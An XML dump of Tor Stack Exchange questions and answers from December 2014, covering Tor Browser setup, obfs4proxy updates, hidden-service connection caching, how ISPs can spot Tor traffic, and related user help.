  <row Id="4759" PostTypeId="2" ParentId="4551" CreationDate="2014-12-10T13:24:27.713" Score="2" Body="&lt;p&gt;As has been suggested above, you can use xrandr. However, to my knowledge, you don't actually have to run it as sudo. To modify your resolution, you need to identify the display name and what resolutions it supports.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the command line, type xrandr and it should output both for you. Display name might be something like LVDS1. Supported resolutions will be listed, with the current resolution being asterisked (*).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To modify resolution, execute the following command. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xrandr --output [display name] --mode [desired resolution]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By way of example, this is how I change my laptop display to 1680x1050:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;xrandr --output LVDS1 --mode 1680x1050 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3542" LastActivityDate="2014-12-10T13:24:27.713" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4760" PostTypeId="1" CreationDate="2014-12-11T11:47:35.487" Score="1" ViewCount="70" Body="&lt;p&gt;i got linux box with two eth, on wan port i getting dynamic ip. So i can't bind interface by ip&lt;/p&gt;&#xA;" OwnerUserId="5276" LastActivityDate="2014-12-11T11:47:35.487" Title="How to OutboundBindInterface set to ethX for relay?" Tags="|relays|network-configuration|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4761" PostTypeId="1" CreationDate="2014-12-11T18:24:58.337" Score="4" ViewCount="61" Body="&lt;p&gt;According to the &lt;a href=&quot;https://svn.torproject.org/svn/tor/branches/hidserv-perf/doc/spec/dir-spec.txt&quot; rel=&quot;nofollow&quot;&gt;Directory Specification:&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Descriptors were indexed by their digests, in order to prevent malicious caches from giving different versions of a router descriptor to different clients.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;But the hashes for the descriptors can be so easily computed since the descriptor labels are public information. So how could evil caches be thwarted sending wrong descriptors here? Indexing by hashes shouldn't be any more secured than indexing by plain-text.&lt;/p&gt;&#xA;" OwnerUserId="5277" LastEditorUserId="88" LastEditDate="2014-12-28T00:10:55.157" LastActivityDate="2015-10-23T04:10:14.040" Title="Why do index descriptors use hashes?" Tags="|directory|development|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4762" PostTypeId="1" CreationDate="2014-12-11T20:26:06.463" Score="6" ViewCount="12145" Body="&lt;p&gt;I have a question regarding Tor that has got me a bit confused lately.&#xA;Could someone please tell me is Tor a P2P network?&#xA;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="5278" LastActivityDate="2014-12-17T06:01:10.947" Title="Is Tor a P2P network?" Tags="|help|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4763" PostTypeId="1" CreationDate="2014-12-12T00:35:45.830" Score="1" ViewCount="342" Body="&lt;p&gt;So I correctly downloaded and build the obfs4proxy source code about a month ago, using the documented&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;go get git.torproject.org/pluggable-transports/obfs4.git/obfs4proxy&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now how do I update my local copy of the source to pick up changes made since my initial download? I see that some files in the repository have change, but rerunning the &quot;go get&quot; command doesn't to fetch the changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice on this?  Thanks.&lt;/p&gt;&#xA;" OwnerUserId="5279" LastActivityDate="2015-02-15T15:35:31.793" Title="How to update obfs4proxy source code?" Tags="|relays|bridge|obfsproxy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4765" PostTypeId="2" ParentId="1130" CreationDate="2014-12-12T10:45:02.137" Score="1" Body="&lt;p&gt;Yes, of course you can use dynamic languages. Almost all forums, markets, wikis etc, on hidden services use them (often PHP, I've noticed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Operators of hidden sites might be wary of using server-side scripts, because they can be attacked anonymously, and it's difficult to block individual attackers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a clearnet site,  attackers can be blocked and rate-limited by source IP address (or ranges, AS numbers, country code, etc). On Tor hidden services, there's nothing anyone can do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So someone can attack your hidden service all day and you can't block them without affecting legitimate users.&lt;/p&gt;&#xA;" OwnerUserId="3441" LastActivityDate="2014-12-12T10:45:02.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4766" PostTypeId="2" ParentId="4719" CreationDate="2014-12-12T10:50:14.330" Score="1" Body="&lt;p&gt;You will probably need to create a transparent proxy (which uses socks to forward traffic via Tor), and have traffic routed through that. You will also need to do something funky with DNS, to stop clearnet DNS traffic leaking out of your VPN server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it's technically possible, but difficult. Some other systems exist which do this, for example &lt;a href=&quot;http://onionwrt.link/&quot; rel=&quot;nofollow&quot;&gt;http://onionwrt.link/&lt;/a&gt; - it's not clear how they achieve this. NB: I don't fancy running their install script as root on my own device&lt;/p&gt;&#xA;" OwnerUserId="3441" LastActivityDate="2014-12-12T10:50:14.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4767" PostTypeId="2" ParentId="4634" CreationDate="2014-12-12T10:51:47.050" Score="2" Body="&lt;p&gt;Depends what you're doing. In practice, very little, especially if it is a low-traffic static web site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've run low-traffic static sites on a Raspberry Pi before.&lt;/p&gt;&#xA;" OwnerUserId="3441" LastActivityDate="2014-12-12T10:51:47.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4768" PostTypeId="2" ParentId="4394" CreationDate="2014-12-12T10:55:21.030" Score="0" Body="&lt;p&gt;Really, if you're that paranoid that you won't even trust your network provider not to man-in-the-middle attack NTP traffic, then you may as well invest in a cheap GPS receiver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then once you've got a cheap GPS receiver, configure ntpd to use that to synchronise the time instead. GPS provides a very accurate time-source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course someone could spoof GPS satellites, but then everyone in the area would be constantly getting lost when their navigation devices failed.&lt;/p&gt;&#xA;" OwnerUserId="3441" LastActivityDate="2014-12-12T10:55:21.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4769" PostTypeId="1" CreationDate="2014-12-12T15:29:28.323" Score="2" ViewCount="70" Body="&lt;p&gt;From my understanding, when I first open a connection to a Hidden Service, what happend is the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;local Tor client gets the descriptor of the Hidden Service form the&#xA;HS Directory Server&lt;/li&gt;&#xA;&lt;li&gt;local Tor client contact an Introduction Point found in the&#xA;descriptor obtained at point 1 and tells it about the choosen&#xA;Rendezvous Point&lt;/li&gt;&#xA;&lt;li&gt;local Tor client waits for the Hidden Service to &quot;meet&quot; it at the&#xA;Rendezvous Point&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now, my question is: if I open a second connection almost identical to the first one, soon after the first one has terminated, will Tor do all the steps again or is there something cached that can speed up the second connection? I think that the descriptors are cached but I'm not sure about the second point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to understand how much time is &quot;wasted&quot; every connection in something that's not just the application data flowing from the source to the destination and back.&lt;/p&gt;&#xA;" OwnerUserId="3765" LastActivityDate="2015-02-11T18:46:47.113" Title="What cached information can be reused when doing two subsequent connections to a Hidden Service?" Tags="|onion-services|performance|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4770" PostTypeId="1" CreationDate="2014-12-12T15:31:55.410" Score="2" ViewCount="698" Body="&lt;p&gt;I need help installing or messing with certain things on Whonix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most important is getting Java to work on it in the browser. I've installed Iceweasel and Chromium, and JRE 8 and JDK6 (long story...), but I don't know how to get a Java plugin installed and working. If I could just install things by double clicking on them or right clicking to get a menu option of having them run as administrator this would be a lot less trouble, which is why I pose this question first. Ubuntu's like this too until you change a settings item or two reachable within the GUI, but I can't figure out a way to do this AT ALL on Debian/KDE/Whonix!&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;So, how do you install Java and its plugin properly on Whonix step by step? I installed Iceweasel and Chromium after realizing that Java doesn't work on Whonix's patched Tor browser, so is that it?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;So, how exactly do you install things via the GUI interface like through&#xA;double clicking on it as in windows, or can you even make it let you?&#xA;And how do you also, for example, do things like run installation files as&#xA;'administrator' or root I guess in the case of the Debian KDE Whonix&#xA;is based on from the GUI? I'm learning to use commands like &quot;cd&quot;, &quot;..&quot; and so forth, but they're still kind of annoying and I'm worried not all apps are best installed via command line.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Secondly, I seem to have issues getting Sip phone clients working on Whonix. I've set Linphone and Jitsi up, but Linphone just says registration is failing and Jitsi's doesn't ever seem to connect either but with no error warning for either, even though the Sip registrars I'm using have worked on my desktop via VPN in the past. I also have issues with setting up VMWare Horizon. It installed seemingly successfully via the commandline according to some instructions I reviewed for Debian but it won't open.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is the problem that the Sip registrars don't want to accept&#xA;transmissions via Tor?&lt;/li&gt;&#xA;&lt;li&gt;And is VMWare Horizon not working due to some harsh&#xA;limitation of Java on Whonix done for privacy reasons or can Horizon&#xA;be made to work on it without too much trouble? If these DO work&#xA;please link any step-by-steps if you know of any.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5281" LastEditorUserId="5281" LastEditDate="2014-12-12T15:45:25.067" LastActivityDate="2014-12-12T15:45:25.067" Title="Whonix - How to get Java Plugin installed/working on Iceweasel? + GUI, Troubleshooting questions" Tags="|configuration|whonix|client|pre-tor-proxy|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4771" PostTypeId="1" CreationDate="2014-12-12T15:41:31.997" Score="1" ViewCount="1671" Body="&lt;p&gt;Is there a way to mess with the Whonix Gateway VM so that I can have a VPN be the final exit point for Workstation data before reaching destination servers? This would be great as it would help me avoid being blocked from sites that don't play nice with Tor, without having to use a VPS/cloud machine or web proxy just have the ability to do banking or voip over Whonix.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this isn't advisable for me to attempt or there isn't any guide, do you know of any good web proxy or that I could use on it instead for banking, a quality premium one which accepts bitcoin?&lt;/p&gt;&#xA;" OwnerUserId="5281" LastEditorUserId="5281" LastEditDate="2014-12-13T08:03:34.970" LastActivityDate="2014-12-13T08:03:34.970" Title="Make Whonix Gateway exit from VPN? Web proxy recommendations?" Tags="|configuration|whonix|vpn|web-proxy|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4773" PostTypeId="2" ParentId="4231" CreationDate="2014-12-13T05:12:41.413" Score="3" Body="&lt;p&gt;It installs with no issue, enable SSH, login as root, and type&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;apt-get install tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As for memory usage, many people run it on routers, which have only 32MB of memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no GUI for setting it up AFAIK, and will require the usual command line tinkering – if you are comfortable with that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Warning: I've not personally tried using it, only installing it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;BIG BIG GOTCHA: You'll need to be running a &quot;normal&quot; (non 64k page size) kernel, which you can install following the instructions here: &lt;a href=&quot;http://community.wd.com/t5/WD-My-Cloud/Clean-debian-and-OpenMediaVault-on-WDMyCloud/td-p/785505&quot; rel=&quot;nofollow&quot;&gt;http://community.wd.com/t5/WD-My-Cloud/Clean-debian-and-OpenMediaVault-on-WDMyCloud/td-p/785505&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4971" LastEditorUserId="4971" LastEditDate="2014-12-17T13:30:41.797" LastActivityDate="2014-12-17T13:30:41.797" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4774" PostTypeId="2" ParentId="4769" CreationDate="2014-12-13T17:12:35.760" Score="1" Body="&lt;p&gt;For 10 minutes after a circuit is first used, new streams can be attached to it.&lt;br&gt;&#xA;See the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#MaxCircuitDirtiness&quot; rel=&quot;nofollow&quot;&gt;MaxCircuitDirtiness&lt;/a&gt; directive. So in your scenario, that 2nd connection could be setup on the same circuit 'immediately' as long as it is not too old.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume (but don't know for a fact) that it makes no difference whether the circuit is to an exit node or a hidden service.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2014-12-13T17:12:35.760" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4776" PostTypeId="1" CreationDate="2014-12-13T21:43:22.800" Score="3" ViewCount="144" Body="&lt;p&gt;Does Tor project provide a secure drop facility available for interested parties to contact Tor project anonymously (the sender identity) and securely (the content of the message). If such a facility is available, where to find it? If not, is it being considered?&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-12-17T14:25:21.437" LastActivityDate="2015-03-09T12:37:07.767" Title="Is there a secure drop available for Tor project?" Tags="|anonymity|security|secure-drop|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4777" PostTypeId="2" ParentId="1696" CreationDate="2014-12-13T21:47:47.330" Score="2" Body="&lt;p&gt;According to the onion address from your screenshot the address &lt;a href=&quot;http://atlantisrky4es5q.onion&quot; rel=&quot;nofollow&quot;&gt;http://atlantisrky4es5q.onion&lt;/a&gt; is down. A &lt;a href=&quot;https://ahmia.fi/search/?q=atlantisrky4es5q.onion&quot; rel=&quot;nofollow&quot;&gt;search&lt;/a&gt; at &lt;a href=&quot;https://ahmia.fi/&quot; rel=&quot;nofollow&quot;&gt;ahmia.fi (Hidden Service search)&lt;/a&gt; shows some mentions of this address, but the market itself is offline for quite some time.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-12-13T21:47:47.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4778" PostTypeId="1" AcceptedAnswerId="4779" CreationDate="2014-12-14T12:26:29.997" Score="1" ViewCount="2353" Body="&lt;p&gt;After extracting the tor-browser.tar.xz, I found there are two things in the tor-&#xA;browser folder. One is a Browser folder and the other is a start-tor-browser &#xA;file, which I used to be able to open as a executable file in Linux Mint, but this &#xA;time I was on Ubuntu. How can I make start-tor-browser an executable file to start Tor Browser with, so that I don't need to launch the Tor Browser using the terminal every time.&lt;/p&gt;&#xA;" OwnerUserId="5178" LastEditorUserId="435" LastEditDate="2014-12-16T11:36:50.677" LastActivityDate="2014-12-16T13:14:53.887" Title="How to make an executable file out of start-tor-browser?" Tags="|tor-browser-bundle|ubuntu|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4779" PostTypeId="2" ParentId="4778" CreationDate="2014-12-14T14:37:09.250" Score="1" Body="&lt;p&gt;From the command line you can make the file executable by running:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;chmod +x start-tor-browser.sh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(where &lt;code&gt;start-tor-browser.sh&lt;/code&gt; is the name of the start script, which I can't remember off the top of my head).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Ubuntu you can tell Nautilus to run the script instead of opening it in Gedit by following &lt;a href=&quot;https://askubuntu.com/questions/286621/how-do-i-run-executable-scripts-in-nautilus&quot;&gt;these instructions&lt;/a&gt; from Ask Ubuntu.&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastEditorUserId="-1" LastEditDate="2017-04-13T12:23:03.123" LastActivityDate="2014-12-16T13:14:53.887" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4780" PostTypeId="1" AcceptedAnswerId="8622" CreationDate="2014-12-14T21:02:42.190" Score="4" ViewCount="826" Body="&lt;p&gt;How Guard Discovery attack works?&#xA;What steps an attacker need to perform in order to discover the guard relay of the HS?&#xA;How easy this attack can be realized in the real world?&#xA;What are the countermeasures?&lt;/p&gt;&#xA;" OwnerUserId="3442" LastEditorUserId="923" LastEditDate="2014-12-14T23:51:58.420" LastActivityDate="2015-09-08T17:17:12.870" Title="How Guard Discovery attack in Tor network works?" Tags="|onion-services|attacks|guard|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4781" PostTypeId="1" AcceptedAnswerId="4785" CreationDate="2014-12-15T06:52:01.453" Score="2" ViewCount="450" Body="&lt;p&gt;Tor website says that an ISP may perform Deep Packet Inspection (DPI) and figure out that I am using Tor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;References:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.torproject.org/docs/bridges.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/bridges.html.en&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.torproject.org/projects/obfsproxy.html.en&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/projects/obfsproxy.html.en&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;As per my knowledge, a Tor generated data packet leaving my computer only has the &lt;em&gt;destination IP&lt;/em&gt; and &lt;em&gt;destination port&lt;/em&gt; which can be read by any third party. How can any kind of inspection at all understand that I am using Tor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand that it is possible an ISP will figure out that I am using Tor if they have my &lt;em&gt;Entry Nodes&lt;/em&gt; or &lt;em&gt;Bridges&lt;/em&gt; IP address stored to be a Tor enter point. But I am fine with it. Totally. But what worries me is how can a deep packet inspection produce results I am using Tor? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the packet leaving my computer is encrypted, then it should not be vulnerable to any type of inspection according to my vision. So this simply confuses me.&lt;/p&gt;&#xA;" OwnerUserId="4990" LastEditorUserId="435" LastEditDate="2014-12-16T11:36:55.993" LastActivityDate="2014-12-16T11:36:55.993" Title="How do ISPs filter out Tor traffic when using a Tor Relay" Tags="|security|exit-relays|bridge|deanonymization|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4782" PostTypeId="2" ParentId="4781" CreationDate="2014-12-15T17:25:53.170" Score="1" Body="&lt;p&gt;Quite simply - the IP addresses of Tor nodes are not secret (in fact, they are necessarily public) - so nobody needs to do any &quot;deep packet inspection&quot;. If you're sending data to a Tor node (e.g. on its OR port), then you're using Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to use Tor without revealing it, set up a private bridge (e.g. on a hosted VM)&lt;/p&gt;&#xA;" OwnerUserId="3441" LastActivityDate="2014-12-15T17:25:53.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4783" PostTypeId="5" CreationDate="2014-12-15T20:08:02.237" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-12-15T20:08:02.237" LastActivityDate="2014-12-15T20:08:02.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4784" PostTypeId="4" CreationDate="2014-12-15T20:08:02.237" Score="0" Body="a character or set of characters appended to an item of data in order to identify it." OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-12-16T07:49:28.913" LastActivityDate="2014-12-16T07:49:28.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4785" PostTypeId="2" ParentId="4781" CreationDate="2014-12-15T22:58:11.287" Score="2" Body="&lt;p&gt;An attacker has several methods to find out that you're using Tor.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;If you use plain Tor without bridges or other circumvention technology than the IP addresses are known to the world. An attacker just compares the IP addresses you're connecting to with those known Tor IP addresses. If you're connecting to one of those there is a good chance that you're using Tor.&lt;/li&gt;&#xA;&lt;li&gt;Another way is to look at the ports you're connecting to. Tor uses an own set of ports in the default configuration. Just by looking at the ports an attacker would also knows that you're probably using Tor.&lt;/li&gt;&#xA;&lt;li&gt;Furthermore your computer contacts directory authorities. Their IP addresses are known and when you connect to them an attacker will also draw their conclusions.&lt;/li&gt;&#xA;&lt;li&gt;Now if you're going to use bridges the picture changes a bit. So it might be also the case that an attacker knows some of the available bridges. If you're connecting to one of them, the attacker will think you're using Tor.&lt;/li&gt;&#xA;&lt;li&gt;Tor talks HTTPS (or better TLS) with the bridges. This doesn't exactly look like a browser talking to a webserver. So if an attacker analyses the connection and encounters some difference to normal HTTPS connections, he might also think you're using Tor.&lt;/li&gt;&#xA;&lt;li&gt;The size of Tor's packages might give another clue for a local attacker.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Depending on the abilities of the attacker it might be possible to guess that you're using Tor. However several so-called pluggable transport try to further hide the fact that you're using Tor. So in the end it is an arms race.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="923" LastEditDate="2014-12-16T09:16:19.910" LastActivityDate="2014-12-16T09:16:19.910" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4786" PostTypeId="1" CreationDate="2014-12-16T04:41:27.153" Score="2" ViewCount="681" Body="&lt;p&gt;I have tried many versions of the Tor, even with the latest bridges.&#xA;But still bootstrap is stuck at 10-85%.. and I can not connect to Tor network.&#xA;please help me fix this issue and what to do?&#xA;thanks&lt;/p&gt;&#xA;" OwnerUserId="5302" LastEditorUserId="923" LastEditDate="2014-12-16T08:58:29.690" LastActivityDate="2014-12-19T07:13:13.820" Title="Can not connect to Tor even with Bridges" Tags="|tor-browser-bundle|bridge|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="4787" PostTypeId="2" ParentId="4762" CreationDate="2014-12-16T11:07:08.377" Score="7" Body="&lt;p&gt;No, Tor is not inherently a peer-to-peer network. Tor is network of virtual tunnels an is therefore more like a &lt;a href=&quot;http://en.wikipedia.org/wiki/Virtual_private_network&quot; rel=&quot;nofollow&quot;&gt;virtual private network&lt;/a&gt; (VPN), but differs from the usual VPN in that the the tunnels proceed from your machine to another (the Entry Guard) and then to a second machine and from there to a third machine (the exit node) and finally, to the point to which you are really trying to connect (e.g., a typical website).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although Tor is described as an &quot;onion router&quot; I think that it is easiest to imagine it as a series of hosepipes that have been threaded through one another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To continue this analogy, imagine that you connect a very fat hosepipe from your machine to the Entry Guard. Because the hosepipe is opaque (encrypted) anyone who looks at it will have no idea what it contains, even though they might recognize the hosepipe as being a &quot;Tor hosepipe&quot;. Having connected to the Entry Guard, you thread another opaque (encrypted) hosepipe inside the first, together with instructions to the Entry Guard about what machine they should push the second hosepipe along to when the end of hosepie-2 appears out the end of hose-1. So now we have hose-1 connected to Entry Guard, along with hose-2 inside hose-1 also reaching the Entry Guard, and hose-2 alone continuing from the Entry Guard to the next machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Repeating this process, having gotten hose-2 to the middle point, we push (encrypted) hose-3 inside of hose-2 inside of hose-1 ... and of course, hose-3 makes an appearance at the end of hose-2 along with instructions for the middle-guy about what she must do with it ... which is to push hose-3 to the Exit node. Finally through the triple hose-pipe, you send request for a web-page on its way. The Entry Guard doesn't know what the request is because it is hidden inside two more layers of hose (encryption) there is a double-layer hose (remember hose-1 only reached to the Entry Guard) that reaches to the middle guy. Middle guy also can't read the request but the smallest of the hoses connects to the Exit Node where your web-request makes an appearance. So the Exit node can now send your web-request to the appropriate web-site and receive the reply ... which he sends back down the pipe to you the way it came.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope the analogy is helpful rather than even more confusing. It might also be worth looking at the Wikipedia link I included because it describes things about &quot;tunneling&quot; generally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is something else to add: you appear to be asking a question that confuses two very different concepts, a bit like asking &quot;Does it use HTTP or TCP/IP?&quot; or &quot;Does it use wire or is it digital?&quot; when in fact some things with wire are analogue and some are digital, and some things that are digital use wire connections and some use wireless. The questions are ill-formed because they presume that the things that are being compared are of equal status or fulfill similar functions when in fact they do not. Consider this: it is possible ... &lt;a href=&quot;https://blog.torproject.org/blog/bittorrent-over-tor-isnt-good-idea&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;don't do this&lt;/em&gt;&lt;/a&gt;, but it is possible ... to run BitTorrent over Tor. BitTorrent is a &lt;a href=&quot;https://en.wikipedia.org/wiki/BitTorrent&quot; rel=&quot;nofollow&quot;&gt;protocol for peer-to-peer file sharing&lt;/a&gt;, and Tor is a network of virtual tunnels. Clearly one thing (Tor/BitTorrent) does not exclude the other (BitTorrent/Tor).&lt;/p&gt;&#xA;" OwnerUserId="435" LastEditorUserId="435" LastEditDate="2014-12-17T06:01:10.947" LastActivityDate="2014-12-17T06:01:10.947" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4791" PostTypeId="1" CreationDate="2014-12-17T09:54:16.050" Score="1" ViewCount="825" Body="&lt;p&gt;I am running (testing environment) Windows 8.1 64bit and I have configured multiple instances of Tor.&#xA;I am using Privoxy to use .NET C# HttpWebRequest. It work perfectly, with single Tor instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I have to run also multiple instances of Privoxy? Is it possible to configure single instance of Privoxy to handle multiple Tor instances?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="5299" LastEditorUserId="923" LastEditDate="2014-12-17T11:34:36.160" LastActivityDate="2014-12-17T11:34:36.160" Title="Privoxy with multiple instances of Tor" Tags="|configuration|windows|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4794" PostTypeId="2" ParentId="4763" CreationDate="2014-12-17T13:47:41.487" Score="1" Body="&lt;p&gt;Hmm, I didn't change anything important as long as you are using a relatively recent version (0.0.3 was tagged on Oct 1.), and the changes since then are only to the unit tests.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;go get -u [URL]&lt;/code&gt; will update dependencies and re-download everything, but the build is broken right now due to the Go developers messing with &lt;code&gt;go.crypto&lt;/code&gt; (and probably &lt;code&gt;go.net&lt;/code&gt;) in a way that broke backward compatibility (by moving the repo, and changing &lt;code&gt;import&lt;/code&gt; locations).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The fixes for that are relatively straight forward, but I need to figure out how to deal with this for the Debian binary packages, so it'll be when I get to it.  Sorry.  The last know good &lt;code&gt;go.crypto&lt;/code&gt; hg revision is &lt;code&gt;231:7ad4bae3f467&lt;/code&gt; in case you actually do want to try to build this yourself at the moment.&lt;/p&gt;&#xA;" OwnerDisplayName="user78" LastActivityDate="2014-12-17T13:47:41.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4795" PostTypeId="5" CreationDate="2014-12-17T15:15:54.687" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2014-12-17T15:15:54.687" LastActivityDate="2014-12-17T15:15:54.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4796" PostTypeId="4" CreationDate="2014-12-17T15:15:54.687" Score="0" Body="The SecureDrop is a discreet way for users to share messages and materials with Tor project. It offers greater security and anonymity than conventional e-mail and Web forms." OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-12-17T23:33:02.587" LastActivityDate="2014-12-17T23:33:02.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4797" PostTypeId="1" AcceptedAnswerId="4799" CreationDate="2014-12-18T05:14:03.347" Score="1" ViewCount="209" Body="&lt;p&gt;I have read about people posting about Tor sites that have the intent upon tracking users or attempting to find information. Is there any information about the proliferation of these types of 'spy' sites? Is the understanding (based on any known facts) that there are very few, far between Tor endpoints that do this or that there would be a large percentage based on the base of users? It is entirely possible that this is not possible to know, so I understand that, may be the answer regardless.&lt;/p&gt;&#xA;" OwnerUserId="3431" LastEditorUserId="923" LastEditDate="2014-12-18T06:20:47.487" LastActivityDate="2014-12-18T06:39:09.953" Title="Tor tracking sites" Tags="|anonymity|security|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
